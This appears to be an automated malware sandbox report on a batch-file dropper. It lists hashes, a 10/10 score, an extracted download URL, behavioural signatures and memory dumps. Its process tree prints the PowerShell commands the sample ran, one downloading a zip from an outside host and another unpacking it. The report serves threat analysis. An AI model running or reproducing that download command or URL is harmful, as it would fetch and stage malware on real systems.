3113000f470106b98b5a3208266c79213a33567ca7841dd1cfe8ab84847c4eb8

Analysis

max time kernel
121s
max time network
125s
platform
windows7_x64
resource
win7-20231023-en
resource tags

arch:x64arch:x86image:win7-20231023-enlocale:en-usos:windows7-x64system
submitted
06/11/2023, 23:24

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General

Target

tesy - Copy (11).bat
Size

706B
MD5

035f17438f6146d5ac7285b4adfeb370
SHA1

ef83c877367e96073e2b9b841d9c03ece6b1df7e
SHA256

02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0
SHA512

49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	2672	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2672	powershell.exe
2912	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2672	powershell.exe
Token: SeDebugPrivilege	2912	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3068 wrote to memory of 2672	3068	cmd.exe	29
PID 3068 wrote to memory of 2672	3068	cmd.exe	29
PID 3068 wrote to memory of 2672	3068	cmd.exe	29
PID 3068 wrote to memory of 2912	3068	cmd.exe	30
PID 3068 wrote to memory of 2912	3068	cmd.exe	30
PID 3068 wrote to memory of 2912	3068	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (11).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3068
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2672
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2912

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
437480e90a4530cdaccee2d4532c85df

SHA1
8f7d38a0e2d71f4122aee6a526f5e6e71385a6e4

SHA256
ab716ad4371da54df72940a6099f20b1b7e0f2d331d0c2c8dac74ac33fe9d620

SHA512
6445d534be4083a0eab2e8c0187e7b42de7ee3b869c8446102915fa774d75dbf7301dab9ec8c380b59b7614431daabd417fa8f00bd64e29e660c656d8289227d

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\5Y3Z9LK9AJVOD2ZJ57ZC.temp

Filesize
7KB

MD5
437480e90a4530cdaccee2d4532c85df

SHA1
8f7d38a0e2d71f4122aee6a526f5e6e71385a6e4

SHA256
ab716ad4371da54df72940a6099f20b1b7e0f2d331d0c2c8dac74ac33fe9d620

SHA512
6445d534be4083a0eab2e8c0187e7b42de7ee3b869c8446102915fa774d75dbf7301dab9ec8c380b59b7614431daabd417fa8f00bd64e29e660c656d8289227d

Download Submit
memory/2672-8-0x0000000002470000-0x00000000024F0000-memory.dmp

Filesize
512KB

Download
memory/2672-5-0x0000000002470000-0x00000000024F0000-memory.dmp

Filesize
512KB

Download
memory/2672-4-0x000007FEF5DA0000-0x000007FEF673D000-memory.dmp

Filesize
9.6MB

Download
memory/2672-9-0x0000000002460000-0x0000000002468000-memory.dmp

Filesize
32KB

Download
memory/2672-10-0x0000000002470000-0x00000000024F0000-memory.dmp

Filesize
512KB

Download
memory/2672-12-0x000007FEF5DA0000-0x000007FEF673D000-memory.dmp

Filesize
9.6MB

Download
memory/2672-6-0x0000000002470000-0x00000000024F0000-memory.dmp

Filesize
512KB

Download
memory/2672-7-0x000000001B230000-0x000000001B512000-memory.dmp

Filesize
2.9MB

Download
memory/2912-18-0x000000001B370000-0x000000001B652000-memory.dmp

Filesize
2.9MB

Download
memory/2912-20-0x000007FEF5400000-0x000007FEF5D9D000-memory.dmp

Filesize
9.6MB

Download
memory/2912-21-0x00000000026A0000-0x0000000002720000-memory.dmp

Filesize
512KB

Download
memory/2912-19-0x0000000001FB0000-0x0000000001FB8000-memory.dmp

Filesize
32KB

Download
memory/2912-22-0x00000000026A0000-0x0000000002720000-memory.dmp

Filesize
512KB

Download
memory/2912-23-0x000007FEF5400000-0x000007FEF5D9D000-memory.dmp

Filesize
9.6MB

Download
memory/2912-24-0x00000000026A0000-0x0000000002720000-memory.dmp

Filesize
512KB

Download
memory/2912-25-0x000007FEF5400000-0x000007FEF5D9D000-memory.dmp

Filesize
9.6MB

Download